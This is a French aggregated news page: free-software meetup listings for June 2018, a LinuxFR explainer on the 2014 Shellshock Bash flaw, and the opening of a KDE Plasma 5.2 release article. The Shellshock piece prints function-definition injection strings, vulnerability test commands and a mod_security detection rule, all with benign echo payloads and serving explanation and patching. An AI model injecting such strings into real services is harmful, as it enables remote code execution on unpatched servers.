    Ce conseil d’administration est ouvert à tous. Toute personne, membre ou non membre de Gulliver, peut y assister (sauf CA exceptionnel signalé à l’avance), voir comment fonctionne notre association et y donner son avis.

    La MCE est située 42 bd Magenta à Rennes (plan d’accès). La salle réservée est celle de l’accueil.

    [FR Martigues] Permanence du jeudi de l'ULLM - Le jeudi 28 juin 2018 de 16h30 à 18h30.

    Comment utiliser et les Logiciels Libres.

    avec l’association des Utilisateurs de Logiciels Libres du Pays de Martégal (ULLM).

    28 2018 de 16h30 à 18h30 à la (quai des Anglais).

    Entrée Libre. Tout public.

    [FR Challans] Permanence Linux - Le jeudi 28 juin 2018 de 18h00 à 20h00.

    Chaque dernier jeudi du mois, Linux Challans vous donne rendez-vous à l’Albanera Café, 17 rue du Général Leclerc 85 300 Challans.

    Nous vous proposons lors de ces rendez-vous mensuels d’échanger autour du Libre, des conseils ou une assistance technique.

    Vous pouvez venir pour vous faire aider, ou aider, à installer et paramétrer une distribution GNU/Linux de votre choix ou des logiciels libres sur votre ordinateur.

    Recommandations

    • Sauvegardez vos données avant de venir.
    • Libérez de la place sur le disque dur (20 Go minimum) et défragmentez Windows si vous voulez le conserver.
    • Nous prévenir de votre passage via la messagerie.

    Vous pouvez aussi venir pour une première prise d’informations et de contacts.

    Nous vous attendons toujours plus nombreux

    [FR Bordeaux] Jeudi Giroll - Le jeudi 28 juin 2018 de 18h30 à 20h30.

    Les membres du collectif Giroll, GIROnde Logiciels Libres, se retrouvent une fois par semaine, pour partager leurs  savoir-faire et expériences autour des logiciels libres.

    Le collectif réalise aussi une webradio mensuelle, tous les second mardis du mois, à retrouver en direct sur le site de Giroll.

     Ses rencontres sont ouvertes à tous.

    [FR Peymeinade] Install-Party GNU/Linux - Le jeudi 28 juin 2018 de 19h00 à 21h00.

    Désormais tous les 4ᵉˢ mercredi du mois, Clic Ordi et Linux Azur vous proposent une install-party ouverte à tous et gratuite.

    • Découvrez un monde rempli de Papillons, licornes, mais surtout de manchots
    • Plus besoin de se soucier des virus et autres logiciels malveillants.
    • Le support de Windows Vista s’arrête dans un an, et les principaux logiciels ont déjà arrêté leurs mise à jour, réagissez
    • Ramenez vos ordinateurs obsolètes et donnez leur une seconde vie.

    Nous aimerions développer autour de Handy-Linux (et de sa future mouture avec Debian-Facile) afin de répondre à des besoins simples pour des personnes difficiles à former et pouvant se retrouver en fracture numérique).

    Nous sommes ouverts à tout, y compris à la bidouille sur l’atelier avec le fer à souder.

    Organisé conjointement par http://clic-ordi.com/fr et https://www.linux-azur.org

    [FR Vesseaux] Projection-débat du film « Nothing to hide » - Le jeudi 28 juin 2018 de 19h00 à 22h00.

    Ouverture des portes à 19h pour partager un moment de convivialité, discuter des choses et d’autres comme les logiciels libres, les données personnelles, la vie privée

    Il y a une buvette sur place, et vous pouvez également apporter un plat à partager ou biscuits apéro

    La projection du film documentaire Nothing to Hide aura lieu à 20h30, et sera suivie d’un débat pour répondre à vos questions

    « Dire que votre droit à la vie privée importe peu, car vous n’avez rien à cacher revient à dire que votre liberté d’expression importe peu, car vous n’avez rien à dire. Car même si vous n’utilisez pas vos droits aujourd’hui, d’autres en ont besoin. Cela revient à dire les autres ne m’intéressent pas », Edward Snowden

    Ce documentaire aborde le thème de la vie privée et des données personnelles.

    L’entrée est à prix libre (adhésion à l’association Vesseaux-Mère).

    [FR Paris] Soirée de Contribution au Libre - Le jeudi 28 juin 2018 de 19h30 à 22h30.

    Parinux propose aux utilisateurs de logiciels libres de se réunir régulièrement afin de contribuer à des projets libres. En effet, un logiciel libre est souvent porté par une communauté de bénévoles et dépend d’eux pour que le logiciel évolue.

    Nous nous réunissons donc tous les dans un environnement propice au travail (pas de facebook, pas de télé, pas de jeux vidéos, pas de zombies).

    Vous aurez très probablement besoin d’un ordinateur portable, mais électricité et réseau fournis.

    En cas de difficulté, vous pouvez joindre un des responsables de la soirée, Emmanuel Seyman (emmanuel (at) seyman.fr), Paul Marques Mota mota (at) parinux.org, ou Magali Garnero (Bookynette) tresorier (at) parinux.org.

    Pour obtenir le code d’entrée de la porte cochère, envoyez un mail au responsable.

    On peut amener de quoi se restaurer (Franprix, 8 rue du Chemin Vert, ferme à 22h)

    Regazouillez sur Twitter - Wiki des soirées

    Programme non exhaustif

    • Fedora (sa traduction)
    • Parinux, ses bugs et son infrastructure
    • April, … y a toujours quelque chose à faire
    • Open Food Facts/ Open Beauty Facts, sa base de données, ses contributeurs, sa roadmap
    • Schema racktables, son code
    • Agenda du Libre, mise à jour et amélioration du code
    • Ubuntu-Fr, son orga, ses événements
    • En vente libre, maintenance et commandes
    • Open street map, une fois par mois
    • Linux-Fr sait faire
    • en vente libre

    tout nouveau projet est le bienvenu.

    [FR Montpellier] Atelier du Libre Ubuntu et Logiciels Libres - Le vendredi 29 juin 2018 de 18h00 à 23h00.

    L’équipe de Montpel’libre vous propose une permanence Logiciels Libres, discussions libres et accompagnements techniques aux systèmes d’exploitation libres, pour vous aider à vous familiariser avec votre système GNU/Linux au quotidien.

    Le contenu de l’atelier s’adapte aux problèmes des personnes présentes et permet ainsi l’acquisition de nouvelles compétences au rythme de chacun.

    Vous pourrez y aborder plusieurs thèmes

    • Discussions conviviales entre utilisateurs autour de Linux en général
    • Préinscription aux prochains Cafés Numériques et Install-Party
    • Premières explorations du système
    • Installations et configurations complémentaires
    • Mise à jour et installation de nouveaux logiciels
    • Prise en main, découverte et approfondissement du système

    Les Ateliers du Libre ont lieu à la Mpt Melina Mercouri de Montpellier, tous les derniers vendredis de chaque mois de 18h00 à 20h00, sauf période de vacances.

    Entrée libre et gratuite sur inscription. Une simple adhésion à l’association est possible et auprès de la Mpt.

    Cet événement est proposé par le partenariat qui lie la Mpt Melina Mercouri de Montpellier et Montpel’libre.

    Toute une équipe de passionnés, vous propose l’animation de l’Atelier du Libre par les membres de Montpel’libre. Permanence Logiciels Libres, discussions libres et accompagnements des utilisateurs aux systèmes exploitation libres, Linux, sur le cyberespace de consultations libres.

    En fin de soirée, l’atelier fera progressivement place à un instant très convivial, les RDVL sont des rendez-vous mensuels de discussions sur le thème des logiciels libres, des arts libres, de l’open source et plus généralement de la culture du libre et du numérique.

    Cette soirée, très conviviale, se passe autour d’un repas partagé, chacun porte un plat, entrée, spécialité, dessert, boisson… Ordinateurs et réseaux disponibles.

    Notre équipe vous attend pour répondre à vos questions et satisfaire votre curiosité.

    Maison pour tous Mélina Mercouri 842, rue de la vieille poste, 34 000 Montpellier

    Bus ligne 9, La Ronde arrêt Pinville
    GPS Latitude 43.61354 Longitude 3.908768
    Carte OpenStreetMap

    Rendez-vous mensuel, tous les derniers vendredis, salle jamais le dimanche

    [FR Paris] Apéro April - Le vendredi 29 juin 2018 de 19h00 à 22h00.

    Un apéro April consiste à se réunir physiquement afin de se rencontrer, de faire plus ample connaissance, d’échanger, de partager un verre et manger mais aussi de discuter sur le logiciel libre, les libertés informatiques, fondamentales, l’actualité et les actions de l’April…

    Un apéro April est ouvert à toute personne qui souhaite venir, membre de l’April ou pas.

    N’hésitez pas à venir nous rencontrer.

    Où et quand cela se passe-t-il

    L’apéro parisien aura lieu vendredi 29 juin 2018 à partir de 19h00 dans les locaux de l’April.

    L’adresse
    April, 44/46 rue de l’Ouest, bâtiment 8, 75 014 Paris (entrée possible par la place de la Catalogne, à gauche de la Biocoop, au niveau des Autolib).
    Métros Gaîté, Pernety, Montparnasse. Sonner à « April » sur l’interphone.
    Le téléphone du local 01 78 76 92 80.

    L’Apéro a lieu à Paris notamment parce que le local s’y trouve ainsi que les permanents et de nombreux actifs. Pour les apéros dans les autres villes voir sur le pad plus bas.

    En ouverture de l’apéro nous ferons un court point sur les dossiers/actions en cours.

    Le glou et le miam

    Vous pouvez apporter de quoi boire et manger afin de reprendre des forces régulièrement. Nous prévoirons bien sûr un minimum vital.

    Vous pouvez vous inscrire sur le pad.

    [FR Dijon] Atelier de création numérique et électronique - Le vendredi 29 juin 2018 de 20h30 à 23h59.

    Le fablab et hackerspace l’abscisse vous propose comme tous les vendredis soir un atelier de création numérique et électronique.

    L’atelier est équipé de différents outils perceuse, CNC, Arduino, Raspberry Pi, ordinateurs, oscilloscope, multimètre.

    Une ressourcerie est à disposition, vous y trouverez des composants électroniques et des pièces détachées à prix libre.

    Vous pouvez venir découvrir l’atelier et les usagers du fablab à partir de 20h30.

    Vous pouvez aussi venir pour participer aux travaux numériques en cours, partager vos connaissances et vos savoir-faire.

    Tous nos travaux sont libres et documentés sous licence libre.

    [FR Saint-Jean-de-Védas] Repair Café - Le samedi 30 juin 2018 de 09h00 à 13h00.

    Nous vous proposons ce rendez-vous, où, bricoleurs, acteurs, bénévoles, associations, vous attendent pour vous aider à donner une deuxième vie à vos objets.

    Réparer ensemble, c’est l’idée des Repair Cafés dont l’entrée est ouverte à tous. Outils et matériel sont disponibles à l’endroit où est organisé le Repair Café, pour faire toutes les réparations possibles et imaginables. Vêtements, meubles, appareils électriques, bicyclettes, vaisselle, objets utiles, jouets, et autres. D’autre part sont présents dans le Repair Café des experts bénévoles, qui ont une connaissance et une compétence de la réparation dans toutes sortes de domaines.

    On y apporte des objets en mauvais état qu’on a chez soi. Et on se met à l’ouvrage avec les gens du métier. Il y a toujours quelque chose à apprendre au Repair Café. Ceux qui n’ont rien à réparer prennent un café ou un thé, ou aident à réparer un objet appartenant à un autre. On peut aussi toujours y trouver des idées à la table de lecture qui propose des ouvrages sur la réparation et le bricolage.

    Repair Café est un atelier consacré à la réparation d’objets et organisé à un niveau local, entre des personnes qui habitent ou fréquentent un même endroit, par exemple un quartier ou un village. Ces personnes se rencontrent périodiquement en un lieu déterminé, dans un café, une salle des fêtes ou un local associatif où des outils sont mis à leur disposition et où ils peuvent réparer un objet qu’ils ont apporté, aidés par des volontaires.

    Les objectifs de cette démarche alternative sont divers

    • réduire les déchets
    • préserver l’art de réparer des objets
    • renforcer la cohésion sociale entre les habitants des environs

    Seront présents

    • Autour.com : On se rend des services entre voisins, on partage des infos, on prête, on loue, on donne…
    • L’Accorderie : Est un système d’échange de services entre habitants d’un même quartier ou d’une même ville.
    • La Gerbe : Contribuer à la formation de citoyens éveillés, engagés et solidaires en offrant aux enfants et aux jeunes un espace privilégié d’expression et d’épanouissement Crèche, Centre de loisirs, Scoutisme, Ateliers, chacun peut y trouver un cadre pour son développement grâce au travail d’une équipe de professionnels et de bénévoles.
    • Les Compagnons Bâtisseurs : Prévoient d’amener des outils
    • Les Petits Débrouillards : est un réseau national de culture scientifique et technique, ils viendront avec pleins de conseils et une imprimante 3D.
    • Le Faubourg : Hébergera le Repear Café.
    • Montpel’libre : Sera là avec des pièces informatiques, pour essayer de reconditionner des ordinateurs, dépanner ceux qui ne fonctionnent plus, expliquer comment ça marche, faire comprendre le choix judicieux du logiciel libre, contourner l’obsolescence programmée grâce à GNU/Linux, comment réparer et entretenir son matériel soi-même, nous porterons un jerry.
    • TechLabLR : Accompagne les projets à composantes technologiques afin de les amener au pré-prototype, puis les guider vers les structures d’accompagnements.
    • Violons Dingues : Passionnés de la vie, des autres, de la culture, de l’art, du sport, de la mécanique, de la moto, de la photo, de la musique, des animaux, des insectes, des plantes, de l’environnement, enfin de tout ce qui circule (au propre comme au figuré) sur notre planète.
    • Zéro Waste Montpellier : La démarche « Zéro Waste » est une démarche positive pour aller vers une société zéro déchet et zéro gaspillage.

    • Maison des Associations, 18 bis rue Fon de l’Hospital, Saint-Jean-de-Védas, Occitanie, France

    • Adresse web http://montpel-libre.fr

    • Tags
      montpel-libre, repair-cafe, atelier

    [FR Casseneuil] Install Partie GNU/Linux - Le samedi 30 juin 2018 de 10h00 à 17h00.

    Le Samedi 30 Juin les bénévoles d’aGeNUx sont invités dans les locaux d’Avec 2L pour une Install-party.

    Venez découvrir et partager le monde du logiciel libre en toute sérénité.

    Animation Libre et non payante.

    Auberge Espagnole le midi.

    Avec 2L se situe derrière la poste de Casseneuil

    [FR Wintzenheim] Réunion du Club Linux - Le samedi 30 juin 2018 de 13h00 à 19h00.

    Comme tous les 3 samedis, le Club Linux de la MJC du Cheval Blanc se réunit et accueille toutes les personnes qui souhaitent découvrir ou approfondir Linux et les Logiciels Libres. Aucune compétence n’est demandée.  

    Pendant ces rencontres, informelles,

    • nous accueillons celles et ceux qui cherchent une réponse ou souhaitent découvrir Linux et les Logiciels Libres,
    • nous installons Linux sur des ordinateurs, la plupart des fois en « dual boot »(*), ce qui permet de conserver l’ancien système (par exemple Windows) et d’utiliser quand même, en choisissant au démarrage,
    • nous partageons nos recherches et nos découvertes, les nouveautés.

    Le Club Linux est également impliqué dans une démarche de libération des GAFAM (Google Apple Facebook Amazon Microsoft) et de promotion de solutions libres comme, entre autres, Wikipedia, Openstreetmap, les Framatrucs (*), les Chatons (*) et beaucoup d’autres.

    (*) : mais on vous expliquera

    [FR Villefranche-sur-Saône] Repaircafé - Le samedi 30 juin 2018 de 13h30 à 17h30.

    Dernier Repaircafé caladois mensuel de la saison avant les vacances.

    Avec la participation habituelle de la CAGULL.

    [FR Marseille] Install Party GNU/Linux - Le samedi 30 juin 2018 de 14h00 à 19h00.

    L’association (CercLL d’Entraide et Réseau Coopératif autour des Logiciels Libres) vous invite à une install party GNU/Linux, le, dans la salle du Foyer du Peuple 50 rue Brandis 13 005 Marseille.

    Vous avez envie de découvrir un système d’exploitation libre, simple d’utilisation, stable, rapide et sécurisé. Une nouvelle façon d’utiliser votre ordinateur.

    Vous vous sentez une affection naissante pour le Gnou et le, les mascottes de

    Au programme

    DÉCOUVERTE de l’univers des logiciels libres.

    INSTALLATION d’un environnement GNU/ Linux, ainsi que le meilleur des logiciels libres.

    Venez avec votre ordinateur, nous installerons ensemble une distribution avec un ensemble de et pour une utilisation quotidienne.

    Ouvert à tous – accessible aux débutant-e-s

    Une participation de 2 euros est demandée.

    L’adhésion à l’association est de 20 euros annuelle.(L’adhésion n’est pas obligatoire).

    Plan d’accés

    [BE Liège] Linux Install Party - Le samedi 30 juin 2018 de 14h00 à 18h00.

    Une Linux Install Party a lieu tous les derniers samedis du mois de septembre à juin, dans les locaux du Cyber Seniors Énéo de Grivegnée, où je suis animateur.

    L’accès et la participation à l’Install Party est ouvert à tous et est gratuit.

    Vous venez avec votre ordinateur et on y installe le Linux que vous désirez.

    Les installations commencent à 14h et finissent à 18h.
    Prévoyez de venir avant 17h, parfois ça peut durer longtemps.

    [FR Ivry sur Seine] Cours de l’Ecole du Logiciel Libre - Le samedi 30 juin 2018 de 14h30 à 18h30.

    Présentation de l’E2L

    Quel est le rôle de l’école du logiciel libre

    Tout d’abord, ce n’est pas une école comme les autres. Elle n’a pas d’établissement fixe, pas de cours de récréation, pas de carte d’étudiant, ni de diplôme de fin d’année.

    Comme toutes les écoles, son rôle est d’apprendre à ses élèves les logiciels libres, c’est-à-dire

    • comment en trouver de bons parmi les nombreux sites qui en proposent,
    • comment en prendre possession en fonction des licences,
    • comment les installer en fonction de ses besoins,
    • comment les tester et les utiliser,
    • comment en comprendre le fonctionnement pour ensuite les modifier,
    • comment écrire ses propres logiciels libres.

    En fait, l’école du logiciel libre est une université populaire, comme celles qui ont vu le jour en France à partir du 19ᵉ siècle, et dont le but est de transmettre des connaissances théoriques ou pratiques à tous ceux qui le souhaitent. Et pour atteindre ce but, sa forme juridique est de type " association à but non lucratif ".

    Comment fonctionne l’école

    Cette école étant une association, elle possède, comme toutes les autres, un bureau, élu chaque année en assemblée générale, pour l’administrer. Mais elle a aussi des responsables pédagogiques dont le rôle est essentiel, car ce sont eux qui établissent les programmes des cours en fonction des souhaits des adhérents, valident les candidatures des enseignants et affectent les sessions.

    Les membres du bureau et les responsables pédagogiques forment « l’encadrement de l’école ». Tous les membres « encadrants » doivent être membres de l’association.

    Les locaux où se déroulent les cours seront ceux que l’on veut bien nous prêter une salle des fêtes, un théâtre, une salle de réunion publique, un amphi dans une école publique, ou autre.

    Les thèmes des cours sont définis par les adhérents en fonction de leurs envies, de leurs besoins. Les cours sont ensuite décidés par les responsables pédagogiques de l’école en fonction des enseignants disponibles.

    Afin de permettre au plus grand nombre de participer et d’assister aux cours, les sessions se tiennent essentiellement le samedi. Une première de 9h à 12h30, et une autre de 14h à 17h30.

    Programme détaillé sur le site http://e2li.org

    [FR Courbevoie] Assemblée Générale annuelle de l'association StarinuX - Le samedi 30 juin 2018 de 14h30 à 17h00.

    L'association GULL StarinuX vous invite à  son

    ASSEMBLÉE GÉNÉRALE annuelle

    le samedi 30 juin 2018 à 14h30,

    48 rue de Colombes 92 400 Courbevoie

    (SNCF Gare de Courbevoie,  Saint Lazare <=> La Défense).

    Seuls les adhérent(e)s peuvent voter, mais les discussions restent ouvertes à tous les présents.

    Un déjeuner facultatif aura lieu à 12h30.

    Au plaisir de nous rencontrer à l’AG 2018

    Le Bureau de StarinuX

    [FR Poucharramet] Festival AgitaTerre - Le dimanche 1 juillet 2018 de 09h30 à 23h00.

    L’association 3PA Formation vous invite à la cinquième édition du Festival AgitaTerre Nous vous donnons rendez-vous le dimanche 1er juillet au coeur du village de Poucharramet (31), entre la place des Marronniers et La Maison de la Terre

    Venez découvrir des alternatives durables, locales et citoyennes qui font vivre notre territoire. Cette année, le festival investit le thème des Communs venez en apprendre plus

    Un événement gratuit et tout public

    9h30-18h

    Marché de producteurs et artisans-créateurs locaux
    Forum associatif & Village des Communs

    Conférences
    Expositions « C’est quoi les Communs »
    Ateliers tous publics

    Expositions d’artistes sculpteurs sur bois
    Mur d’expression libre
    Vannerie géante collective

    Concerts
    Spectacles et animations

    Buvette & Restauration
    Espace enfants

    20h30 Grand concert en plein air avec notre partenaire La Maison de la Terre

    Programmation et exposants sur www.agitaterre.fr

    Infos agitaterre@3paformation.fr // 3PA 05.61.08.11.30

    Parking sur place
    Adapté aux personnes à mobilité réduite

    Commentaires : voir le flux atom ouvrir dans le navigateur

  • Une faille nommée « shellshock » (Dépêches LinuxFR)

    « ShellShock », une faille dans l'usage du shell Bash, est sous les projecteurs depuis quelques jours. Le terme est un jeu de mot entre la stupeur propre à l'obusite des combattants de la première guerre mondiale et l'interface système shell. Nous vous proposons des explications sur cet évènement particulier, son périmètre, les conditions de son exploitation, les surfaces d'attaques, et les solutions proposées, déjà mises en œuvre ou à venir. Enfin, une revue de presse sera dressée, cette faille s'étant transformée en évènement.

    Sommaire

    Contexte et histoire

    Bash est l'interpréteur par défaut du projet GNU, c'est une amélioration du Shell Bourne, reprenant des idées du Korn Shell (ksh). Il est développé depuis 1988 et n'a cessé de s'améliorer.

    Bash est le shell par défaut d'un grand nombre de distributions GNU/Linux, mais pas toutes. Par exemple Ubuntu ne lance pas Bash avec son /bin/sh, mais dash, Bash n'étant disponible que pour l'utilisateur en session interactive. Bash se retrouve également dans Apple Mac OS X et dans Microsoft Windows via Cygwin (SFU, Services for Unix, utilise csh ou ksh).

    Quelques explications

    Il s'agit d'exploiter un bash-isme, une spécificité du shell Bash, permettant d'exporter une fonction et non seulement une variable. Les autres shells (ksh, zsh, dash, …) ne sont pas concernés par cette faille. Par ailleurs, Bash ne permet pas cet export de fonctions s'il est utilisé avec l'option -p ).

    Il est tout à fait normal de vouloir passer des variables d'environnement à un processus enfant.

    Mais Bash permet en outre de passer des fonctions vers le processus enfant. Aucun autre shell ne permet cela. Dans ce cadre relativement strict, la sécurité ne pose pas de problème : les droits et contextes d'exécution sont identiques et l'utilisateur, système ou non, est le même. Ceci est documenté, il s'agit de l'option -f de la commande export dans le shell Bash. « It is not a bug, it is a feature », le vieil adage prend ici tout son sens. Nous laissons le lecteur seul juge du bien-fondé de ce bashisme.

    Alors s'il n'y a pas de problème, où est le problème ? Le problème se situe dans l'usage de Bash par les autres programmes. Bash est devenu le shell par défaut de certaines distributions, et de nombreux programmes utilisent le shell par défaut pour passer des variables d'environnement entre leurs processus. Le contexte change donc : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants.

    Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille. Ceci explique l'ancienneté du problème.

    Explications techniques

    Une fonction dans le shell bash

    #!/bin/bash
    # déclaration de la fonction d'affichage du message "bonjour vous", nommée mafonction :
    mafonction() {
    echo "bonjour vous";
    }
    # exécution de la fonction :
    mafonction

    La même chose, pour passer la fonction à un sous-shell

    env mafonction='() { echo "bonjour vous"; }' bash -c 'mafonction;' 
    

    On prefixe avec la commande env pour faire tourner un programme dans un environnement modifié. Et à la fin on fait exécuter la fonction par un autre bash. OK ?

    La même chose, en détournant l'usage

    env mafonction='() { echo "bonjour vous"; }; echo "voici shellshock"' bash -c "mafonction;"
    

    Ici, l'exécution de la fonction mafonction ne se limite pas à un écho "bonjour vous", mais exécute aussi le code echo "voici shellshock" On notera la place du délimiteur '
    OK ?

    Et en fait il n'est même pas nécessaire d'exécuter la fonction définie :

    env mafonction='() { echo "bonjour vous"; }; echo "voici shellshock"' bash -c "true"
    voici shellshock
    

    Donc, le simple () { :;} suffit à résumer la situation.
    OK !

    Surfaces d'attaques et exploitabilité

    Les conditions de l'exploitation à distance de la faille sont relativement simples :

    • /bin/sh pointe sur /bin/bash ;
    • avoir SELinux désactivé ou non configuré ;
    • avoir un service qui écoute le réseau et qui va exécuter bash.

    L'exploitation de cette faille est très simple, et de nombreux preuves de concepts et exploits circulent actuellement sur Internet. Voici une liste non-exhaustive des logiciels qui peuvent être utilisés en passe-plat :

    • dhclient ;
    • apache, via mod_cgi (et sans mod_security correctement configuré) ;
    • exim ; postfix ; qmail ; procmail ;
    • OpenVPN ;
    • stunnel ;
    • probablement de très nombreux logiciels privateurs …
    • SIP, FTP, probablement d'autres …

    Preuves de Concept
    Un projet hébergé sur github rassemble une série de POC à cette adresse

    À noter que SELinux ne va pas bloquer un usage de « shellshock », il va cependant en réduire fortement les possibilités d'exploitation. Par exemple le contexte httpd_sys_script_t est attribué à tout CGI, contexte qui ne permet l'écriture que dans … /tmp! Le lecteur trouvera des explications complètes sur le blog de Dan Walsh à ce sujet.

    Ne sont donc pas concernées : toutes les distributions ayant un autre shell que Bash. Toutes les distributions ayant SELinux activé bénéficient d'une protection contre des exploitations de ce type. Mais également : tous les matériels embarqués et objets connectés, contrairement à ce que des articles de presse affirment, car ces matériels utilisent la plupart du temps busybox et son implémentation inline de Bash n'est pas vulnérable. Ne sont pas concernés non plus les téléphones portables (pas plus les Android que les iPhones). Les "box" internet ne le sont pas davantage, ni les télévisions, ni les lecteurs de salon, les autoradios, ni les avions, drones, missiles, sous-marins… Bref, nous avons eu le plaisir de lire un peu n'importe quoi sur le sujet et la revue de presse contient quelques jolies perles.

    NdM : le fabriquant de NAS QNAP vient d'alerter ses utilisateurs (cf article Next INpact)

    Chronologie des évènements

    • Stéphane Chazelas rapporte le problème à Redhat (bug déclaré le 14 septembre) ;
    • Le CVE-2014-6271 lui est attribué ;
    • Le 24 septembre, ce CVE est rendu public et un premier correctif est mis à disposition ;
    • Le jour même la communauté pointe l'insuffisance de ce correctif ;
    • Le CVE-2014-7169 est alors ouvert et attribué à Tavis Ormandy ;
    • Le 27 septembre le second correctif est publié

    Solutions mises en œuvre

    Correctifs disponibles et annonces des distributions

    La faille, CVE-2014-6271
    • Le test :
      env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test" Ne doit pas retourner le terme "vulnérable", quelque soit le formattage retour.

    • Les annonces :

    Le second problème, CVE-2014-7169
    • Le test :
      cd /tmp; rm -f echo; env 'x=() { (a)=>\' bash -c "echo date"; cat echo doit retourner que le fichier "/tmp/echo" n'existe pas.

    • Les annonces :

    Les CVE-2014-6277, CVE-2014-7186 et CVE-2014-7187 ne sont pas publics à ce jour (infos chez Redhat 0, 1 et 2).
    • D'autres correctifs sont à venir.
    mod_security, le filtrage

    Mod_security est un pare-feu applicatif pour le serveur Apache. Il peut être configuré pour filtrer certains caractères et expressions régulières. C'est donc un moyen efficace pour se prémunir contre le principal vecteur d'attaque : les scripts CGI. Si vous utilisez Redhat, vous pouvez l'installer ou le mettre à jour : il contient les règles tout prêtes pour filtrer « shellshock ». Ces règles sont de types : SecRule REQUEST_HEADERS "^\(\) {" & request_line.

    Le cas FreeBSD

    Le projet FreeBSD a décidé de désactiver la possibilité d'importation de fonction de Bash. Le système FreeBSD n'utilise pas Bash comme shell par défaut, mais tcsh, Bash n'étant même pas inclus dans une installation de base. Mais pour prémunir de tout problème lié à un changement de shell par défaut, le projet a décidé de supprimer la fonctionnalité incriminée, avec ce message laconique : « cela retire le risque de nouveaux problèmes conduisant à l’exécution de code, et le risque pour les scripts suid, aussi pour les applications mal écrites qui ne nettoient pas leurs environnements » Radical.

    Revue de presse

    Après les annonces sécurité et la réaction des projets (Bash, FSF - traduite en français par l'April), la presse spécialisée puis la presse généraliste ont multiplié les articles : pire que la faille Heartbleed ? (Slate.fr, LMI, Silicon.fr, L'Express, 20minutes, HuffingtonPost, New Zealand Herald), « panique » (Courrier International), « mégafaille » (01Net), « horrible » (ZdNet), « premières attaques » (01net), « plus grande menace de l'histoire du web » (ParisMatch, si si), « 500 millions de serveurs web vulnérables » (La Tribune, Washington Post), « Google et Amazon ont patchés » - super on est sauvés alors - (WallStreetJournal), d'autres failles Bash à prévoir (ArsTechnica), « ver fou ShellShock » (Wired ou le blog de R. Graham), « internet bâti sur de la glace fine » (Financial Times), etc.

    Conclusion

    D'une rencontre entre une fonctionnalité et des usages nait une faille qui fait grand bruit. Bruit généré par l'importance du problème, certes, mais également par le manque de discernement et le FUD autour. Ce qui met en valeur la place qu'ont pris les Logiciels Libres dans nos vies quotidiennes, sans que cela se voie. Il aura fallu moins de 4 jours entre la publication du problème (à ne pas confondre avec le signalement initial aux équipes sécurité) et sa résolution. Peu d'éditeurs peuvent se targuer d'être aussi rapides sur la résolution d'un problème de ce type et sur la transparence pour l'accès à l'information.

    Dans le même temps, l'inquiétude de savoir que cette possibilité existe depuis de nombreuses années est légitime. Et elle renforce la nécessité de participation. Combien d'éditeurs de solutions s'appuient sur des briques libres sans jamais rien verser aux projets ?

    Mettez et maintenez vos systèmes à jour! Et ne pensez pas qu'un programme qui n'a pas connu beaucoup de failles est forcément très sûr, peut-être que personne ne l'avait vraiment regardé jusque là.

    Lire les commentaires

  • Plasma 5.2, l'espace de travail de KDE (Dépêches LinuxFR)

    Plasma 5.2 est sorti le 27 janvier 2015, 2 mois et demi après la sortie de la version 5.1. Pour rappel, Plasma est l’espace de travail (aussi appelé shell) de KDE. Cette version nous apporte de nouveaux composants, un bon nombre de nouvelles fonctionnalités et bien des corrections de bogues.

    Plasma 5.2 et le nouveau module Kscreen

    Découvrez les nouveautés en seconde partie de l'article.

    Sommaire

    Nouveaux composants portés

    Système

    Au menu, en bref : BlueDevil, KSSHAskPass, Muon, configuration de l'apparence du gestionnaire de connexions (SDDM), KScreen, GTK Application Style, KDecoration.

    Plus de détails dans la suite de cette dépêche.

    BlueDevil

    Un ensemble de composants pour gérer les périphériques Bluetooth. Cela configurera votre souris, clavier, l'envoi et la réception de fichiers, et vous pourrez naviguer dans la liste des périphériques.

    KSSHAskPass

    Si vous accédez à des ordinateurs avec des clés SSH, mais que ces clés ont des mots de passe, alors ce module vous donnera une interface graphique pour entrer des mots de passe.

    Muon

    Muon permet d’installer et de gérer des logiciels et autres extensions pour votre ordinateur. C'est une interface graphique simplifiée pour apt, il faut donc que votre distribution préférée propose apt, ce qui est possible même avec des rpms.

    Login theme configuration (SDDM)

    SDDM est désormais le gestionnaire de connexion de choix pour Plasma, et ce nouveau module de Configuration Système vous permet d'en configurer le thème.

    KScreen

    Kscreen, le module permettant de configurer et de gérer plusieurs écrans, fait un pas en avant, et devient disponible avec cette version de plasma.

    Au passage, la gestion de plusieurs écrans a également été améliorée, puisque le code de détection a été porté pour utiliser XRandR directement, corrigeant de multiples bogues dans la foulé.

    KScreen

    GTK Application Style

    Ce module permet de configurer le thème et le couleurs utilisées par les applications utilisant le cadriciel GTK.

    KDecoration

    Cette bibliothèque facilite et fiabilise la création de thèmes pour KWin, le gestionnaire de fenêtres de Plasma. On retrouve de grandes amélioration de mémoire, de performances et de stabilité ; le thème Breeze a rendu nécessaire ces améliorations pour être activé par défaut. Si quelques fonctionnalités vous manquent, ne vous inquiétez pas, elles seront au rendez-vous pour la version 5.3.

    Autres changements

    Fonctionnalités

    Lors du changement d’un élément du bureau, une notification nous permet d’annuler l’action :

    Undo

    Résultats mieux classés dans KRunner, lancé avec Alt-Espace ou Alt-F2 :

    KRunner

    Toujours dans KRunner, il est possible de contrôler le lecteur de musique pour, par exemple, passer à la piste suivante en tapant next.

    De nouveaux widgets arrivent, notamment 15 puzzles, un navigateur internet, ou encore montrer le bureau.

    L’intégration de logind avec le verrouilleur d'écran a été améliorée pour permettre de s'assurer que l'écran est bien vérouillé avant la mise en veille (cela pouvait se produire juste après la sortie de veille auparavant). En outre, il est maintenant possible de configurer le fond d'écran de l'écran verrouillé. En interne, ça utilise une partie du protocole Wayland, qui est le futur du bureau Linux.

    La liste des applications par défaut dans le panneau kickoff a été mise à jour en y ajoutant la messagerie instantanée, Kontact et Kate.

    Le retour attendu de l'activation ou de la désactivation du pavé tactile est bienvenu ! (pour les claviers disposant d'une touche dédiée.)

    Baloo

    Baloo, l’index sémantique de recherche, s'optimise au démarrage : il consomme maintenant de 2 à 3 fois moins de temps processeur au lancement. L'analyseur syntaxique de requêtes ajoute la gestion de la propriété type (ou kind, qui sont synonymes), ce qui permet de filtrer les résultats par type dans KRunner par exemple. Ainsi, day type:audio permet de rechercher tous les fichiers audio dont le nom ou le contenu contient le mot day. Rappelons que baloo est également accessible en ligne de commande grâce à baloosearch.

